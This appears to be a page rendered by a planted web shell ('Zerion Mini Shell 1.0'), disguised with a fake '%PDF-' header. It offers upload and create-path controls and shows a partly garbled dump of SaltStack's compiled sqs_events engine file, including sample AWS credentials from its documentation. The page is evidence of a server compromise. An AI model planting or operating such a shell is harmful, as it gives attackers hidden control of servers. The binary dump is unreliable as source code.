%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/engines/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/engines/sqs_events.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	Zyddl
ZeZ
Wnek
r�eZ
nXddlmZd�Zeje�Zdddd�Zdddd�Zdddd	�ZdS(
u�
An engine that continuously reads messages from SQS and fires them as events.

Note that long polling is utilized to avoid excessive CPU usage.

.. versionadded:: 2015.8.0

:depends: boto

Configuration
=============

This engine can be run on the master or on a minion.

Example Config:

.. code-block:: yaml

    sqs.keyid: GKTADJGHEIQSXMKKRBJ08H
    sqs.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs
    sqs.message_format: json

Explicit sqs credentials are accepted but this engine can also utilize
IAM roles assigned to the instance through Instance Profiles. Dynamic
credentials are then automatically obtained from AWS API and no further
configuration is necessary. More Information available at::

   http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html

If IAM roles are not (or for ``boto`` version < 2.5.1) used you need to
specify them either in a pillar or in the config file of the master or
minion, as appropriate:

To deserialize the message from json:

.. code-block:: yaml

    sqs.message_format: json

It's also possible to specify key, keyid and region via a profile:

.. code-block:: yaml

    sqs.keyid: GKTADJGHEIQSXMKKRBJ08H
    sqs.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

A region may also be specified in the configuration:

.. code-block:: yaml

    sqs.region: us-east-1

If a region is not specified, the default is us-east-1.

It's also possible to specify key, keyid and region via a profile:

.. code-block:: yaml

    myprofile:
      keyid: GKTADJGHEIQSXMKKRBJ08H
      key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs
      region: us-east-1

Additionally you can define cross account sqs:

.. code-block:: yaml

    engines:
      - sqs_events:
          queue: prod
          owner_acct_id: 111111111111

i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@ststdfStSdS(NuKCannot import engine sqs_events because the required boto module is missing(tHAS_BOTOtFalsetTrue(((s;/usr/lib/python2.7/site-packages/salt/engines/sqs_events.pyt__virtual___s
cC@s|rvt|tj�r%t|}nt|t�r=|}n|jdd�}|jdd�}|jdd�}n|s�tjdd�}n|s�tjdd�}n|s�tjdd�}ny"tjj	|d|d	|�}Wn%tj
jk
rtj
d
�dSX|S(u'
    Get a boto connection to SQS.
    ukeyukeyiduregionu
sqs.regionu	us-east-1usqs.keyu	sqs.keyidtaws_access_key_idtaws_secret_access_keyu_No authentication credentials found when attempting to make sqs_event engine connection to AWS.N(t
isinstanceRtstring_typest__opts__tdicttgettNonetbototsqstconnect_to_regiont	exceptiontNoAuthHandlerFoundtlogterror(tprofiletregiontkeytkeyidt_profiletconn((s;/usr/lib/python2.7/site-packages/salt/engines/sqs_events.pyt
_get_sqs_connis*
	

usalt/engine/sqsc	C@s�|sWtjddjgtj|�|fD]}|r+|^q+��tjd�n�|jdd�}xv|D]n}|dkr�|d|ditj	j
j|j��d	6�n |d|di|j�d	6�|j
�qpWdS(
Nu4failure connecting to queue: %s, waiting 10 seconds.u:i
twait_time_secondsiujsonttagtdataumessage(RtwarningtjoinRt	text_typettimetsleeptget_messagestsalttutilstjsontloadstget_bodytdelete(	tqtq_nametfire_masterRt
owner_acct_idtmessage_formatt_ftmsgstmsg((s;/usr/lib/python2.7/site-packages/salt/engines/sqs_events.pyt_process_queue�s8
2 c
C@s�tjd�dkr=tjjjttddt�j}n
td}tjdd
�}t
|�}d
}x`tr�|s�|j|d|�}|j
tjjj�nt|||d|d|d	|�qnWd
S(u5
    Listen to sqs and fire message on event bus
    u__roleumasterusock_dirtlistenu
event.sendusqs.message_formatR0RR1N(RRR'R(teventtget_master_eventRt
fire_eventt__salt__RRRt	get_queuetset_message_classRRtmessaget
RawMessageR5(tqueueRRR0R/R1RR-((s;/usr/lib/python2.7/site-packages/salt/engines/sqs_events.pytstart�s

	(t__doc__t
__future__RRRtloggingR$tsalt.utils.jsonR'tsalt.utils.eventtboto.sqsRRRtImportErrorRtsalt.extRRt	getLoggert__name__RRRR5R@(((s;/usr/lib/python2.7/site-packages/salt/engines/sqs_events.pyt<module>Js 


	

Zerion Mini Shell 1.0